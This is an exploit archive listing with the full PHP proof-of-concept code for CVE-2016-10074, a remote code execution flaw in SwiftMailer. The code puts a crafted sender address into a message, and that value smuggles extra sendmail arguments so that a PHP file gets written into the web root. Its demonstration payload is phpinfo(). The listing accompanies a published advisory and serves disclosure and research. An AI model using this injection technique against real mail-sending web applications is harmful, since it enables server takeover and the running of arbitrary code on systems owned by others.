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SwiftMailer Remote Code Execution

SwiftMailer Remote Code Execution
Posted Dec 29, 2016
Authored by Dawid Golunski

SwiftMailer versions prior to 5.4.5-DEV suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2016-10074
SHA-256 | 6c8d495f3e13599fefac246580f75812ee61962841c2cff7e333f604d3caee57

SwiftMailer Remote Code Execution

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<?php

/*

SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

Discovered/Coded by:

Dawid Golunski
https://legalhackers.com

Full Advisory URL:
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

Exploit code URL:
https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt

Follow the feed for updates:

https://twitter.com/dawid_golunski


A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == ["@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:

09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<


See the full advisory URL for the exploit details.

*/


// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------

// mail() param injection via the vulnerability in SwiftMailer

require_once 'lib/swift_required.php';
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// Create a message
$message = Swift_Message::newInstance('Swift PoC exploit')
->setFrom(array($email_from => 'PoC Exploit Payload'))
->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
->setBody('Here is the message itself')
;
// Send the message with PoC payload in 'from' field
$result = $mailer->send($message);

?>

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